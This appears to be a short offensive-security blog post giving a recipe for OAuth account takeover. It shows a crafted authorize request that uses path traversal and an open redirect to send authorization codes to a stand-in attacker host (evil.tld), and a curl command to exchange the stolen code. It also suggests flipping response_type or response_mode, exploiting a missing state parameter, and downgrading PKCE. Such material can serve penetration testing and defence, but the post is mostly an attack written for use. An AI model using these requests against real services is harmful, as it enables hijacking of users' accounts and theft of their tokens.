OAuth account takeover via redirect_uri and response_type juggling

May 26, 2026 · 1 min read

If the authorization server matches redirect_uri by prefix or ignores the path, register or abuse an open redirect on the client to bounce the code to you.

http

GET /authorize?client_id=CID&redirect_uri=https://client.tld/cb/../../open-redirect?to=https://evil.tld&response_type=code&scope=... HTTP/1.1

Also test flipping response_type to token or adding response_mode=fragment, which some servers honor even for confidential clients.

bash

# steal the code from your listener, then exchange it
curl -s https://client.tld/token -d "grant_type=authorization_code&code=$CODE&redirect_uri=..."

Pro note: a missing or unbound state parameter adds login CSRF on top. Chain a leaked code with PKCE downgrade (drop code_challenge) if the server still accepts plain codes; many do for legacy clients.